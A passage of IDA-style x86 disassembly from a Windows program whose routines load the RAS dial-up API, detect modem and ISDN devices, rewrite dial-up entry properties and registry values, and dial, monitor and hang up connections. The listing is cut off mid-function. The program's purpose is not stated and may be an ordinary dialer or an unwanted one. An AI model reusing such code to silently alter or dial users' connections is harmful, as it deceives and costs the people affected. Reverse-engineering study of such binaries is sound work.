mov [ecx+4B4h], al
mov ecx, 107h
mov edi, edx
rep stosd
mov dword ptr [edx], 41Ch
pop edi
retn
sub_4094B0 endp
; =============== S U B R O U T I N E =======================================
sub_409520 proc near ; CODE XREF: sub_405C90+23Ap
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_409530
push eax ; hLibModule
call ds:FreeLibrary ; FreeLibrary
loc_409530: ; CODE XREF: sub_409520+7j
push offset aRasapi32_dll ; "RASAPI32.DLL"
call ds:LoadLibraryA ; LoadLibraryA
test eax, eax
mov [esi], eax
jz loc_40963D
push edi
mov edi, ds:GetProcAddress
push offset aRasenumdevices ; "RasEnumDevicesA"
push eax ; hModule
call edi ; GetProcAddress
mov [esi+5D0h], eax
mov eax, [esi]
push offset aRasdiala ; "RasDialA"
push eax ; hModule
call edi ; GetProcAddress
mov ecx, [esi]
push offset aRasgeterrorstr ; "RasGetErrorStringA"
push ecx ; hModule
mov [esi+5D4h], eax
call edi ; GetProcAddress
mov edx, [esi]
push offset aRasgetentrypro ; "RasGetEntryPropertiesA"
push edx ; hModule
mov [esi+5D8h], eax
call edi ; GetProcAddress
mov [esi+5DCh], eax
mov eax, [esi]
push offset aRassetentrypro ; "RasSetEntryPropertiesA"
push eax ; hModule
call edi ; GetProcAddress
mov ecx, [esi]
push offset aRashangupa ; "RasHangUpA"
push ecx ; hModule
mov [esi+5E0h], eax
call edi ; GetProcAddress
mov edx, [esi]
push offset aRasenumconnect ; "RasEnumConnectionsA"
push edx ; hModule
mov [esi+5E4h], eax
call edi ; GetProcAddress
mov [esi+5E8h], eax
mov eax, [esi]
push offset aRasgetconnects ; "RasGetConnectStatusA"
push eax ; hModule
call edi ; GetProcAddress
mov ecx, [esi]
push offset aRassetentrydia ; "RasSetEntryDialParamsA"
push ecx ; hModule
mov [esi+5ECh], eax
call edi ; GetProcAddress
mov ecx, [esi+5D0h]
mov [esi+5F0h], eax
test ecx, ecx
pop edi
jz short loc_40963D
mov ecx, [esi+5D4h]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5D8h]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5DCh]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5E0h]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5E4h]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5E8h]
test ecx, ecx
jz short loc_40963D
mov ecx, [esi+5ECh]
test ecx, ecx
jz short loc_40963D
test eax, eax
jz short loc_40963D
mov ecx, esi
call sub_409650
test eax, eax
setz al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40963D: ; CODE XREF: sub_409520+1Fj
; sub_409520+C3j ...
xor al, al
pop esi
retn
sub_409520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409650 proc near ; CODE XREF: sub_409520+111p
dwBytes = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+5D0h]
mov [esi+5F4h], edi
cmp eax, edi
mov [esi+5F8h], edi
jnz short loc_409678
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_409678: ; CODE XREF: sub_409650+1Dj
lea ecx, [esp+10h+var_4]
lea edx, [esp+10h+dwBytes]
push ecx
push edx
push edi
mov [esp+1Ch+dwBytes], edi
call eax
cmp [esp+10h+var_4], edi
jnz short loc_409698
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_409698: ; CODE XREF: sub_409650+3Dj
mov eax, [esp+10h+dwBytes]
push eax ; dwBytes
call sub_40AE50
add esp, 4
cmp eax, edi
mov [esi+5F8h], eax
jnz short loc_4096BA
pop edi
mov eax, 298h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4096BA: ; CODE XREF: sub_409650+5Dj
lea ecx, [esp+10h+var_4]
mov dword ptr [eax], 98h
mov eax, [esi+5F8h]
lea edx, [esp+10h+dwBytes]
push ecx
push edx
push eax
call dword ptr [esi+5D0h]
test eax, eax
jz short loc_4096F0
mov ecx, [esi+5F8h]
push ecx ; lpMem
call sub_40AF60
add esp, 4
mov [esi+5F8h], edi
loc_4096F0: ; CODE XREF: sub_409650+89j
mov edx, [esp+10h+var_4]
pop edi
mov [esi+5F4h], edx
xor eax, eax
pop esi
add esp, 8
retn
sub_409650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409710 proc near ; CODE XREF: sub_405C90+570p
mov eax, [ecx+5F4h]
retn
sub_409710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409720 proc near ; CODE XREF: sub_405C90+67Fp
; sub_405C90+6E4p ...
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
push esi
push edi
mov esi, ecx
push ebp
call sub_4097B0
mov edi, eax
test edi, edi
jz short loc_409775
mov ebx, ds:lstrcmpA
push offset aModem ; "modem"
push edi ; lpString1
call ebx ; lstrcmpA
test eax, eax
jz short loc_409754
push offset aIsdn ; "isdn"
push edi ; lpString1
call ebx ; lstrcmpA
test eax, eax
jnz short loc_409775
loc_409754: ; CODE XREF: sub_409720+26j
push ebp
mov ecx, esi
call sub_409780
push eax ; lpString2
mov ecx, esi
call sub_409B90
push edi ; lpString2
mov ecx, esi
call sub_409BB0
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_409775: ; CODE XREF: sub_409720+14j
; sub_409720+32j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 4
sub_409720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409780 proc near ; CODE XREF: sub_405C90+645p
; sub_409720+37p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_4097A3
cmp eax, [ecx+5F4h]
jge short loc_4097A3
mov ecx, [ecx+5F8h]
lea edx, [eax+eax*8]
lea eax, [eax+edx*2]
lea eax, [ecx+eax*8+15h]
retn 4
; ---------------------------------------------------------------------------
loc_4097A3: ; CODE XREF: sub_409780+6j
; sub_409780+Ej
xor eax, eax
retn 4
sub_409780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4097B0 proc near ; CODE XREF: sub_405C90+610p
; sub_409720+Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_4097D3
cmp eax, [ecx+5F4h]
jge short loc_4097D3
mov ecx, [ecx+5F8h]
lea edx, [eax+eax*8]
lea eax, [eax+edx*2]
lea eax, [ecx+eax*8+4]
retn 4
; ---------------------------------------------------------------------------
loc_4097D3: ; CODE XREF: sub_4097B0+6j
; sub_4097B0+Ej
xor eax, eax
retn 4
sub_4097B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4097E0(LPCSTR lpString1)
sub_4097E0 proc near ; CODE XREF: sub_406D50+45p
lpString1 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov eax, [esi+5F4h]
test eax, eax
jle short loc_40981F
mov ebp, [esp+10h+lpString1]
xor edi, edi
loc_4097F8: ; CODE XREF: sub_4097E0+3Dj
mov eax, [esi+5F8h]
lea ecx, [edi+eax+15h]
push ecx ; lpString2
push ebp ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jz short loc_409829
mov eax, [esi+5F4h]
inc ebx
add edi, 98h
cmp ebx, eax
jl short loc_4097F8
loc_40981F: ; CODE XREF: sub_4097E0+10j
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_409829: ; CODE XREF: sub_4097E0+2Cj
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn 4
sub_4097E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409840(LPCSTR lpString2)
sub_409840 proc near ; CODE XREF: sub_405C90+4C2p
lpString2 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+5DCh]
test eax, eax
jnz short loc_40985C
pop edi
pop esi
pop ebp
mov eax, 278h
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_40985C: ; CODE XREF: sub_409840+Ej
mov eax, [esi+8Ch]
test eax, eax
jz short loc_409879
push eax ; lpMem
call sub_40AF10
add esp, 4
mov dword ptr [esi+8Ch], 0
loc_409879: ; CODE XREF: sub_409840+24j
mov eax, [esp+10h+lpString2]
lea ebp, [esi+98h]
push 101h ; iMaxLength
push eax ; lpString2
push ebp ; lpString1
call ds:lstrcpynA ; lstrcpynA
lea ebx, [esi+90h]
push 0
push 0
push ebx
push 0
push ebp
push 0
mov dword ptr [ebx], 0
call dword ptr [esi+5DCh]
test eax, eax
jz short loc_4098DE
push 0
push 0
push ebx
push 0
push offset dword_40FBD8
push 0
mov dword ptr [ebx], 0
call dword ptr [esi+5DCh]
cmp eax, 25Bh
jz short loc_4098DE
pop edi
pop esi
mov dword ptr [ebx], 0
pop ebp
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_4098DE: ; CODE XREF: sub_409840+6Ej
; sub_409840+8Fj
mov ecx, [ebx]
push ecx ; dwBytes
call sub_40AE50
mov edi, eax
add esp, 4
test edi, edi
mov [esi+8Ch], edi
jnz short loc_409903
pop edi
pop esi
mov [ebx], eax
pop ebp
mov eax, 298h
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_409903: ; CODE XREF: sub_409840+B3j
mov ecx, [ebx]
xor eax, eax
mov edx, ecx
push 0
shr ecx, 2
rep stosd
mov ecx, edx
push 0
and ecx, 3
push ebx
rep stosb
mov eax, [esi+8Ch]
mov ecx, [ebx]
mov [eax], ecx
mov edx, [esi+8Ch]
push edx
push ebp
push 0
call dword ptr [esi+5DCh]
test eax, eax
jz short loc_40997F
mov eax, [esi+8Ch]
push 0
push 0
push ebx
push eax
push offset dword_40FBD8
push 0
call dword ptr [esi+5DCh]
mov edi, eax
test edi, edi
jz short loc_40997F
mov ecx, [esi+8Ch]
push ecx ; lpMem
call sub_40AF10
add esp, 4
mov eax, edi
mov dword ptr [esi+8Ch], 0
mov dword ptr [ebx], 0
pop edi
pop esi
pop ebp
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_40997F: ; CODE XREF: sub_409840+F6j
; sub_409840+115j
mov edx, [esi+8Ch]
push 81h ; iMaxLength
push offset asc_40F704 ; " "
mov dword ptr [edx+4], 218h
mov eax, [esi+8Ch]
mov dword ptr [eax+0B8h], 4
mov ecx, [esi+8Ch]
mov dword ptr [ecx+0BCh], 1
mov edx, [esi+8Ch]
add edx, 1Bh
push edx ; lpString1
call ds:lstrcpynA ; lstrcpynA
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 4
sub_409840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099D0 proc near ; CODE XREF: sub_405C90+7BBp
; sub_406720+1BDp ...
bstrString = dword ptr -3Ch
lpMem = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
lpString = dword ptr -4
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
mov esi, ecx
push edi
mov [ebp+var_8], esi
mov al, [esi+4B5h]
test al, al
jz loc_409B48
xor eax, eax
lea edi, [esi+98h]
cmp edi, eax
mov [ebp+bstrString], eax
mov [ebp+lpMem], eax
mov [ebp+var_34], eax
mov [ebp+var_30], al
mov [ebp+var_12], al
jnz short loc_409A0C
mov [ebp+lpString], eax
jmp short loc_409A3F
; ---------------------------------------------------------------------------
loc_409A0C: ; CODE XREF: sub_4099D0+35j
push edi ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push edi ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+var_8]
mov [ebp+lpString], ebx
loc_409A3F: ; CODE XREF: sub_4099D0+3Aj
mov eax, [ebp+lpString]
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov ebx, eax
mov eax, [ebp+bstrString]
test eax, eax
mov [ebp+var_C], ebx
jnz short loc_409A59
xor edi, edi
jmp short loc_409A62
; ---------------------------------------------------------------------------
loc_409A59: ; CODE XREF: sub_4099D0+83j
push eax ; BSTR
call ds:SysStringLen
mov edi, eax
loc_409A62: ; CODE XREF: sub_4099D0+87j
lea eax, [edi+ebx]
push eax ; ui
push 0 ; strIn
mov [ebp+var_10], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_409AC1
mov esi, [ebp+bstrString]
lea eax, [edi+edi]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_C]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov esi, [ebp+var_8]
mov [ebp+bstrString], ebx
loc_409AC1: ; CODE XREF: sub_4099D0+A5j
mov edx, lpValueName
mov eax, lpSubKey
push 1 ; hKey
push edx ; lpValueName
push eax ; lpSubKey
lea ecx, [ebp+bstrString]
call sub_40ABF0
mov ecx, off_40F27C
mov edx, lpSubKey
push 1 ; hKey
push ecx ; lpValueName
push edx ; lpSubKey
lea ecx, [ebp+bstrString]
call sub_40ABF0
mov al, [esi+4B4h]
test al, al
jz short loc_409B27
mov ecx, [esi+8Ch]
lea eax, [esi+199h]
push 80h ; iMaxLength
add ecx, 1Bh
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
lea edx, [esi+94h]
push 0
push edx
push 0
call dword ptr [esi+5F0h]
loc_409B27: ; CODE XREF: sub_4099D0+128j
mov eax, [ebp+lpMem]
test eax, eax
jz short loc_409B3E
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_409B3E: ; CODE XREF: sub_4099D0+15Cj
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
loc_409B48: ; CODE XREF: sub_4099D0+16j
mov ecx, [esi+90h]
mov edx, [esi+8Ch]
push 0
push 0
push ecx
lea eax, [esi+98h]
push edx
push eax
push 0
call dword ptr [esi+5E0h]
lea esp, [ebp-48h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4099D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_405C90+562p
; sub_405C90+68Ap ...
mov eax, [ecx+8Ch]
add eax, 3DDh
retn
sub_409B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409B90(LPCSTR lpString2)
sub_409B90 proc near ; CODE XREF: sub_409720+3Fp
lpString2 = dword ptr 4
mov ecx, [ecx+8Ch]
mov eax, [esp+lpString2]
push 81h ; iMaxLength
add ecx, 3DDh
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
retn 4
sub_409B90 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409BB0(LPCSTR lpString2)
sub_409BB0 proc near ; CODE XREF: sub_409720+47p
lpString2 = dword ptr 4
mov ecx, [ecx+8Ch]
mov eax, [esp+lpString2]
push 11h ; iMaxLength
add ecx, 3CCh
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
retn 4
sub_409BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409BD0 proc near ; CODE XREF: sub_409C20+16p
; sub_409C40+19p
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi+4]
lea edi, [esi+199h]
push ebx ; lpString2
push edi ; lpString1
call ds:lstrcpyA ; lstrcpyA
push ebx ; lpString
call ds:lstrlenA ; lstrlenA
mov ebx, ds:lstrcatA
test eax, eax
jle short loc_409BFF
push offset asc_40F708 ; ","
push edi ; lpString1
call ebx ; lstrcatA
loc_409BFF: ; CODE XREF: sub_409BD0+25j
add esi, 9
push esi ; lpString2
push edi ; lpString1
call ebx ; lstrcatA
pop edi
pop esi
pop ebx
retn
sub_409BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409C10 proc near ; CODE XREF: sub_405C90+72Fp
lea eax, [ecx+4]
retn
sub_409C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409C20(LPCSTR lpString2)
sub_409C20 proc near ; CODE XREF: sub_405830+287p
; sub_406E00+27p ...
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
push esi
mov esi, ecx
push 4 ; iMaxLength
push eax ; lpString2
lea ecx, [esi+4]
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
mov ecx, esi
call sub_409BD0
pop esi
retn 4
sub_409C20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409C40(LPCSTR lpString2)
sub_409C40 proc near ; CODE XREF: sub_405830+29Cp
; sub_406720+49Dp ...
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
push esi
mov esi, ecx
push 80h ; iMaxLength
push eax ; lpString2
lea ecx, [esi+9]
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
mov ecx, esi
call sub_409BD0
pop esi
retn 4
sub_409C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409C70(LPCSTR lpString2)
sub_409C70 proc near ; CODE XREF: sub_405830+262p
; sub_406720+473p ...
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
push 100h ; iMaxLength
add ecx, 29Bh
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
retn 4
sub_409C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409C90(LPCSTR lpString2)
sub_409C90 proc near ; CODE XREF: sub_405830+277p
; sub_406720+488p ...
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
push 100h ; iMaxLength
add ecx, 39Ch
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcpynA ; lstrcpynA
retn 4
sub_409C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409CB0 proc near ; CODE XREF: .text:00409D90p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+5B8h]
inc eax
cmp eax, 20h
jl short loc_409CBE
xor eax, eax
loc_409CBE: ; CODE XREF: sub_409CB0+Aj
mov edx, [esp+arg_0]
mov [ecx+eax*8+4B8h], edx
mov edx, [esp+arg_4]
mov [ecx+eax*8+4BCh], edx
mov [ecx+5B8h], eax
retn 8
sub_409CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409CE0 proc near ; CODE XREF: sub_406720+217p
var_4 = byte ptr -4
push ecx
push esi
mov esi, ecx
push 0BB8h
call sub_409F90
lea eax, [esp+8+var_4]
mov ecx, esi
push eax
call sub_409DA0
cmp eax, 2001h
jz short loc_409D20
push edi
mov edi, ds:Sleep
loc_409D08: ; CODE XREF: sub_409CE0+3Dj
push 1 ; dwMilliseconds
call edi ; Sleep
lea ecx, [esp+0Ch+var_4]
push ecx
mov ecx, esi
call sub_409DA0
cmp eax, 2001h
jnz short loc_409D08
pop edi
loc_409D20: ; CODE XREF: sub_409CE0+1Fj
lea edx, [esi+4B0h]
xor eax, eax
push edx
push offset loc_409D80
lea ecx, [esi+94h]
push eax
push ecx
mov dword ptr [esi+5C4h], 1
mov [esi+5C8h], eax
mov [esi+5CCh], eax
push eax
mov dword_40FBDC, esi
push eax
mov [esi+5BCh], eax
mov [esi+5B8h], eax
mov dword ptr [esi+5C0h], 0FFFFFFFFh
call dword ptr [esi+5D4h]
pop esi
pop ecx
retn
sub_409CE0 endp
; ---------------------------------------------------------------------------
align 10h
loc_409D80: ; DATA XREF: sub_409CE0+49o
mov eax, [esp+0Ch]
mov ecx, [esp+8]
push eax
push ecx
mov ecx, dword_40FBDC
call sub_409CB0
retn 0Ch
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409DA0 proc near ; CODE XREF: sub_406720+10Ep
; sub_406720+170p ...
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
arg_0 = dword ptr 4
sub esp, 0A0h
push esi
mov esi, ecx
push edi
mov eax, [esi+5BCh]
mov ecx, [esi+5B8h]
cmp ecx, eax
jz loc_409E42
inc eax
cmp eax, 20h
jl short loc_409DC6
xor eax, eax
loc_409DC6: ; CODE XREF: sub_409DA0+22j
mov edx, [esp+0A8h+arg_0]
mov ecx, [esi+eax*8+4BCh]
mov [edx], ecx
mov edi, [esi+eax*8+4B8h]
mov [esi+5C0h], eax
mov [esi+5BCh], eax
mov eax, edi
sub eax, 2000h
jz short loc_409E2E
dec eax
jnz short loc_409E35
mov eax, [esi+5C4h]
test eax, eax
jz short loc_409E35
cmp eax, 2
jnz short loc_409E0B
call sub_40B4C8
jmp short loc_409E11
; ---------------------------------------------------------------------------
loc_409E0B: ; CODE XREF: sub_409DA0+62j
mov eax, [esi+5C8h]
loc_409E11: ; CODE XREF: sub_409DA0+69j
mov [esi+5CCh], eax
mov eax, edi
mov dword ptr [esi+5C4h], 0
pop edi
pop esi
add esp, 0A0h
retn 4
; ---------------------------------------------------------------------------
loc_409E2E: ; CODE XREF: sub_409DA0+50j
mov byte ptr [esi+4B4h], 1
loc_409E35: ; CODE XREF: sub_409DA0+53j
; sub_409DA0+5Dj
mov eax, edi
pop edi
pop esi
add esp, 0A0h
retn 4
; ---------------------------------------------------------------------------
loc_409E42: ; CODE XREF: sub_409DA0+18j
mov ecx, [esi+4B0h]
test ecx, ecx
jnz short loc_409E69
mov ecx, [esp+0A8h+arg_0]
pop edi
mov eax, 2001h
pop esi
mov dword ptr [ecx], 0
add esp, 0A0h
retn 4
; ---------------------------------------------------------------------------
loc_409E69: ; CODE XREF: sub_409DA0+AAj
test eax, eax
jge short loc_409E8A
mov edx, [esp+0A8h+arg_0]
pop edi
mov eax, 2001h
pop esi
mov dword ptr [edx], 0
add esp, 0A0h
retn 4
; ---------------------------------------------------------------------------
loc_409E8A: ; CODE XREF: sub_409DA0+CBj
mov eax, [esi+5C0h]
mov edi, [esp+0A8h+arg_0]
mov ecx, [esi+eax*8+4BCh]
mov [edi], ecx
mov edx, [esi+5C0h]
mov eax, [esi+edx*8+4B8h]
cmp eax, 2000h
jz short loc_409EC3
cmp eax, 2001h
jz short loc_409EC3
test ecx, ecx
jz loc_409F7C
loc_409EC3: ; CODE XREF: sub_409DA0+112j
; sub_409DA0+119j
mov ecx, [esi+4B0h]
lea eax, [esp+0A8h+var_A0]
push eax
push ecx
mov [esp+0B0h+var_A0], 0A0h
call dword ptr [esi+5ECh]
cmp eax, 6
jnz short loc_409F41
push 0BB8h
mov ecx, esi
call sub_409F90
mov eax, [esi+4B0h]
test eax, eax
jz short loc_409F02
mov dword ptr [esi+4B0h], 0
loc_409F02: ; CODE XREF: sub_409DA0+156j
cmp dword ptr [esi+5C4h], 3
jnz short loc_409F21
mov edx, [esi+5C8h]
mov dword ptr [esi+5C4h], 0
mov [esi+5CCh], edx
loc_409F21: ; CODE XREF: sub_409DA0+169j
mov dword ptr [esi+5C0h], 0FFFFFFFFh
mov dword ptr [edi], 0
pop edi
mov eax, 2001h
pop esi
add esp, 0A0h
retn 4
; ---------------------------------------------------------------------------
loc_409F41: ; CODE XREF: sub_409DA0+140j
cmp dword ptr [esi+5C4h], 1
jnz short loc_409F6A
mov eax, [esp+0A8h+var_9C]
cmp eax, 2000h
jnz short loc_409F7C
call sub_40B4C8
mov [esi+5C8h], eax
mov dword ptr [esi+5C4h], 2
loc_409F6A: ; CODE XREF: sub_409DA0+1A8j
mov eax, [esp+0A8h+var_9C]
cmp eax, 2000h
jnz short loc_409F7C
mov byte ptr [esi+4B4h], 1
loc_409F7C: ; CODE XREF: sub_409DA0+11Dj
; sub_409DA0+1B3j ...
pop edi
pop esi
add esp, 0A0h
retn 4
sub_409DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_406720+50p
; sub_406720+148p ...
var_A0 = dword ptr -0A0h
arg_0 = dword ptr 4
sub esp, 0A0h
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+4B0h]
mov dword ptr [esi+5C0h], 0FFFFFFFFh
test eax, eax
jz short loc_40A016
push eax
call dword ptr [esi+5E4h]
mov ecx, [esi+4B0h]
lea eax, [esp+0ACh+var_A0]
push eax
push ecx
mov [esp+0B4h+var_A0], 0A0h
call dword ptr [esi+5ECh]
cmp eax, 6
jz short loc_40A00C
mov edi, ds:Sleep
mov ebp, [esp+0ACh+arg_0]
loc_409FE2: ; CODE XREF: sub_409F90+7Aj
mov edx, ebp
dec ebp
test edx, edx
jz short loc_40A016
push 1 ; dwMilliseconds
call edi ; Sleep
mov ecx, [esi+4B0h]
lea eax, [esp+0ACh+var_A0]
push eax
push ecx
mov [esp+0B4h+var_A0], 0A0h
call dword ptr [esi+5ECh]
cmp eax, 6
jnz short loc_409FE2
loc_40A00C: ; CODE XREF: sub_409F90+43j
mov dword ptr [esi+4B0h], 0
loc_40A016: ; CODE XREF: sub_409F90+1Dj
; sub_409F90+57j
pop edi
pop esi
pop ebp
add esp, 0A0h
retn 4
sub_409F90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_406720+BEp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, 19C8h
call sub_40AF70
push ebx
mov ebx, ecx
lea eax, [esp+4]
lea ecx, [esp+4+arg_0]
push eax
lea edx, [esp+8+arg_4]
push ecx
push edx
mov [esp+10h+arg_0], 19C0h
mov [esp+10h+arg_4], 19Ch
call dword ptr [ebx+5E8h]
test eax, eax
jz short loc_40A070
xor al, al
pop ebx
add esp, 19C8h
retn
; ---------------------------------------------------------------------------
loc_40A070: ; CODE XREF: sub_40A030+34j
mov eax, [esp+10h+var_C]
push esi
xor esi, esi
test eax, eax
jbe short loc_40A099
push edi
lea edi, [esp+18h]
loc_40A080: ; CODE XREF: sub_40A030+66j
mov eax, [edi]
push eax
call dword ptr [ebx+5E4h]
mov eax, [esp+1Ch+var_10]
inc esi
add edi, 19Ch
cmp esi, eax
jb short loc_40A080
pop edi
loc_40A099: ; CODE XREF: sub_40A030+49j
pop esi
mov al, 1
pop ebx
add esp, 19C8h
retn
sub_40A030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A0B0 proc near ; CODE XREF: sub_406720+26p
; sub_406720+4FDp
push esi
mov esi, ecx
mov eax, [esi+5C4h]
test eax, eax
jz short loc_40A0EF
cmp eax, 1
jle short loc_40A0EB
cmp eax, 3
jg short loc_40A0EB
call sub_40B4C8
mov edx, [esi+5C8h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
imul ecx
mov eax, edx
pop esi
sar eax, 6
mov ecx, eax
shr ecx, 1Fh
add eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40A0EB: ; CODE XREF: sub_40A0B0+10j
; sub_40A0B0+15j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A0EF: ; CODE XREF: sub_40A0B0+Bj
mov ecx, [esi+5CCh]
mov edx, [esi+5C8h]
sub ecx, edx
mov eax, 10624DD3h
imul ecx
mov eax, edx
pop esi
sar eax, 6
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_40A0B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A120 proc near ; CODE XREF: sub_406720+EFp
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, 19C8h
call sub_40AF70
lea eax, [esp+0]
lea edx, [esp+arg_0]
push eax
lea eax, [esp+4+arg_4]
push edx
push eax
mov [esp+0Ch+arg_0], 19C0h
mov [esp+0Ch+arg_4], 19Ch
call dword ptr [ecx+5E8h]
test eax, eax
jz short loc_40A15D
or eax, 0FFFFFFFFh
add esp, 19C8h
retn
; ---------------------------------------------------------------------------
loc_40A15D: ; CODE XREF: sub_40A120+31j
mov eax, [esp+0Ch+var_C]
add esp, 19C8h
retn
sub_40A120 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A170(int,LPCWSTR lpString,int)
sub_40A170 proc near ; CODE XREF: sub_406560+FAp
MultiByteStr = byte ptr -20Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
